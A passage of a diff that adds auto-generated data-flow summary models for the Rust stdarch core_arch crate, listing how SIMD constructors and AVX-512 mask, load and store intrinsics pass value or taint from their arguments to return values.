"Argument[5]", "ReturnValue.Field[crate::core_arch::simd::u8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::u8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::u8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::u8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::u8x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u8x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::u8x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[32]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[33]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[34]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[35]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[36]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[37]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[38]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[39]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[40]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[41]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[42]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[43]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[44]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[45]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[46]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[47]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[48]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[49]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[50]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[51]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[52]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[53]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[54]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[55]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[56]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[57]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[58]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[59]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[60]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[61]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[62]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[63]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::u8x64(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u8x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::u8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::u8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::u8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::u8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::u8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::u8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::u8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::u8x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_bits", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::bf16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::to_bits", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::to_bits", "Argument[self].Field[crate::core_arch::x86::bf16(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bf16::_mm_mask_cvtneps_pbh", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_cvtmask32_u32", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_cvtu32_mask32", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kadd_mask32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kadd_mask32", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kadd_mask64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kadd_mask64", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kand_mask32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kand_mask32", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kand_mask64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kand_mask64", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kandn_mask32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kandn_mask32", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kandn_mask64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kandn_mask64", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_knot_mask32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_knot_mask64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kor_mask32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kor_mask32", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kor_mask64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kor_mask64", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kshiftli_mask32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kshiftli_mask64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kshiftri_mask32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kshiftri_mask64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kxnor_mask32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kxnor_mask32", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kxnor_mask64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kxnor_mask64", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kxor_mask32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kxor_mask32", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kxor_mask64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_kxor_mask64", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_load_mask32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_load_mask64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_loadu_epi16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_loadu_epi8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_storeu_epi16", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_storeu_epi8", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_kunpackd", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_kunpackd", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_kunpackw", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_kunpackw", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_loadu_epi16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_loadu_epi8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_storeu_epi16", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_storeu_epi8", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_loadu_epi16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_loadu_epi8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_storeu_epi16", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_storeu_epi8", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_store_mask32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_store_mask64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_cvtmask8_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_cvtu32_mask8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kadd_mask16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kadd_mask16", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kadd_mask8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kadd_mask8", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kand_mask8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kand_mask8", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kandn_mask8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kandn_mask8", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_knot_mask8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kor_mask8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kor_mask8", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kshiftli_mask8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kshiftri_mask8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kxnor_mask8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kxnor_mask8", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kxor_mask8", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_kxor_mask8", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_load_mask8", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512dq::_store_mask8", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_cvtmask16_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_cvtu32_mask16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kand_mask16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kand_mask16", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kandn_mask16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kandn_mask16", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_knot_mask16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kor_mask16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kor_mask16", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kshiftli_mask16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kshiftri_mask16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kxnor_mask16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kxnor_mask16", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kxor_mask16", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_kxor_mask16", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_load_mask16", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", 